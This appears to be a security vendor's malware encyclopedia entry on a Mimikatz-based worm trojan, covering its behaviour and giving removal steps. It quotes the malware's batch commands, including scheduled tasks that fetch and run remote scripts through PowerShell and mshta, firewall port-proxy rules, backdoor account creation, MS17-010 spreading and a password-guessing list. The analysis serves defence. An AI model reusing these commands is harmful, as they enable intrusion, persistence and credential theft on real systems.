Trojan.Win32.MIMIKATZ.ADV

April 08, 2020
 Analysis by: Mohammed Malubay
 ALIASES:

Trojan:Win32/CryptInject(MICROSOFT); Trojan.Win32.Trickster.dmp(KASPERSKY); Python/Agent.DU!tr(FORTINET);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any backdoor routine.

It takes advantage of certain vulnerabilities. However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

5,916,920 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

03 Apr 2020

Payload:

Connects to URLs/IPs, Exploits vulnerability

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Temp%\mkatz.ini → Mimikatz script output
  • %User Temp%\_MEI{random}\{Python components}

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It drops and executes the following files:

It adds the following processes:

  • netsh advfirewall set allprofile state on
  • netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
  • netsh firewall add portopening tcp 65532 DNS2
  • netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
  • netsh firewall add portopening tcp 65531 DNSS2
  • netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53

It creates the following folders:

  • %User Temp%\_MEI{random}

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Information Theft

This Trojan gathers the following data:

  • Computer Name
  • Public IP Address
  • Username
  • Password

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

  • http://{BLOCKED}.{BLOCKED}.pl/raw
  • http://{BLOCKED}p.com

It does the following:

  • It connects to the following website(s) to download and execute a script:
    • http://v.{BLOCKED}h.com/v{user domain}
    • http://w.{BLOCKED}h.com/page.html?p{computer name}
  • Port 60124 serves as its mutex to allow only one instance running.
  • It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
  • It scans randomly-generated IP addresses over the Internet and the local network to check for open port 445.
    If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
    • Send one of the following files to the target and saved as %System Root%\installed.exe and %System Root%\installed2.exe:
      • %Windows%\System32\svhost.exe
      • %Windows%\SysWOW64\svhost.exe
      • %Windows%\System32\drivers\svchost.exe
      • %Windows%\SysWOW64\drivers\svchost.exe
    • Copy %Temp%\svchost.exe as %Windows%\{random 4-8 letters}.exe
    • Move %Temp%\dig.exe as %Windows%\{random 4-8 letters}.exe
    • Create a batch file named %Temp%\p.bat containing the ff. commands:
      • move /y %Temp%\{Random 4-8 letters}.exe %Windows%
      • netsh interface ipv6 install
      • netsh firewall add portopening tcp 65532 DNS2
      • netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
      • netsh firewall add portopening tcp 65531 DNSS2
      • netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
      • if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\{random 4-8 letters}" /tr "%Windows%\{random 4-8 letters}.exe" /F&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "%Temp%\svchost.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "%Windows%\{random 4-8 letters}.exe"&schtasks /run /TN Autostart&schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "%Temp%\svchost.exe"&schtasks /run /TN Autoscan)
      • net start Ddriver
      • for /f %%i in (\'tasklist | find /c /i "cmd.exe"\') do set s=%%i
      • if %s% gtr 10 (shutdown /r)
      • net user k8h3d /del
      • %Temp%\svchost.exe
      • del %Temp%\p.bat
    • Copies %Temp%\updll.exe and %Temp%\upinstalled.exe to the target machine, saved as the same filenames. It then creates %Temp%\tmp.vbs which executes the copied files.
    • Attempt to execute the sent files on the target machine.

It takes advantage of the following vulnerabilities:

However, as of this writing, the said sites are inaccessible.

It adds the following scheduled tasks:

  • Task Name: DnsScan
    Task to be Run: %Temp%\svchost.exe
  • Task Name: \Microsoft\windows\Bluetooths
    Task to be Run: powershell -ep bypass -e {base-64 string} → downloads and executes http://v.{BLOCKED}h.com/v{user domain}
  • Task Name: Autocheck
    Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
  • Task Name: Autoscan
    Task to be Run: %Temp%\svchost.exe

NOTES:
It uses the following usernames and passwords to attempt logging in to the target machine:

  • Usernames:
  • Administrator
  • user
  • admin
  • test
  • hp
  • guest
  • k8h3d

  • Passwords:
  • 123456
  • password
  • qwerty
  • 12345678
  • 123456789
  • 123
  • 1234
  • 123123
  • 12345
  • 12345678
  • 123123123
  • 1234567890
  • 88888888
  • 111111111
  • 000000
  • 111111
  • 112233
  • 123321
  • 654321
  • 666666
  • 888888
  • a123456
  • 123456a
  • 5201314
  • 1qaz2wsx
  • 1q2w3e4r
  • qwe123
  • 123qwe
  • a123456789
  • 123456789a
  • baseball
  • dragon
  • football
  • iloveyou
  • password
  • sunshine
  • princess
  • welcome
  • abc123
  • monkey
  • !@#$%^&*
  • charlie
  • aa123456
  • Aa123456
  • admin
  • homelesspa
  • password1
  • 1q2w3e4r5t
  • qwertyuiop
  • 1qaz2wsx

    • Target IP addresses:
  • {BLOCKED}.{BLOCKED}.0.1/24
  • {BLOCKED}.{BLOCKED}.1.1/24
  • {BLOCKED}.{BLOCKED}.2.1/24
  • {BLOCKED}.{BLOCKED}.3.1/24
  • {BLOCKED}.{BLOCKED}.4.1/24
  • {BLOCKED}.{BLOCKED}.5.1/24
  • {BLOCKED}.{BLOCKED}.6.1/24
  • {BLOCKED}.{BLOCKED}.7.1/24
  • {BLOCKED}.{BLOCKED}.8.1/24
  • {BLOCKED}.{BLOCKED}.9.1/24
  • {BLOCKED}.{BLOCKED}.10.1/24
  • {BLOCKED}.{BLOCKED}.18.1/24
  • {BLOCKED}.{BLOCKED}.31.1/24
  • {BLOCKED}.{BLOCKED}.199.1/24
  • {BLOCKED}.{BLOCKED}.254.1/24
  • {BLOCKED}.{BLOCKED}.67.1/24
  • {BLOCKED}.{BLOCKED}.0.1/24
  • {BLOCKED}.{BLOCKED}.1.1/24
  • {BLOCKED}.{BLOCKED}.2.1/24
  • {BLOCKED}.{BLOCKED}.1.1/24
  • {BLOCKED}.{BLOCKED}.90.1/24
  • {BLOCKED}.{BLOCKED}.10.1/24
  • {BLOCKED}.{BLOCKED}.1.1/24

The usernames, passwords and IP addresses are not limited to the above mentioned lists. The file %Temp%\mkatz.ini is parsed to obtain the domain, usernames and passwords, which are also used to attempt logging in the target machine.

In order to execute some commands, it requires a component currently detected as HackTool.Win32.Radmin.GB.

This component may be dropped in the target machine as {random 8 characters}.exe in %Windows% directory.

It also attempts to create the following registry key and entries on the target machine, which executes the component file and the commands mentioned above. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\{random 4 characters} DisplayName = {random 4 characters} ImagePath = can be %Windows%\{random 8 characters}.exe, or {command string}

The component file and service may be deleted after execution.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.822.04

FIRST VSAPI PATTERN DATE:

18 Feb 2019

VSAPI OPR PATTERN File:

14.823.00

VSAPI OPR PATTERN Date:

19 Feb 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Windows%\{random 4-8 letters}.exe
  • %Temp%\mkatz.ini
  • %Temp%\m.ps1
  • %Temp%\upinstalled.exe
  • %Temp%\updll.exe
  • %Temp%\tmp.vbs
  • %Temp%\p.bat
  • %Temp%\dig.exe
  • %Temp%\{Random 4-8 letters}.exe
  • %System Root%\setupinstalled.exe
  • %System Root%\install.exe

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %User Temp%\_MEI{random}

Step 6

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: DnsScan
  • Task to be Run: %Temp%\svchost.exe
  • Task Name: \Microsoft\windows\Bluetooths
  • Task to be Run: powershell -ep bypass -e {base-64 string}
  • Task Name: Autocheck
  • Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
  • Task Name: Autoscan
  • Task to be Run: %Temp%\svchost.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win32.MIMIKATZ.ADV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Download and apply this security patch Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.  Microsoft Security Bulletin MS17-010

Step 9

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.MIMIKATZ.ADV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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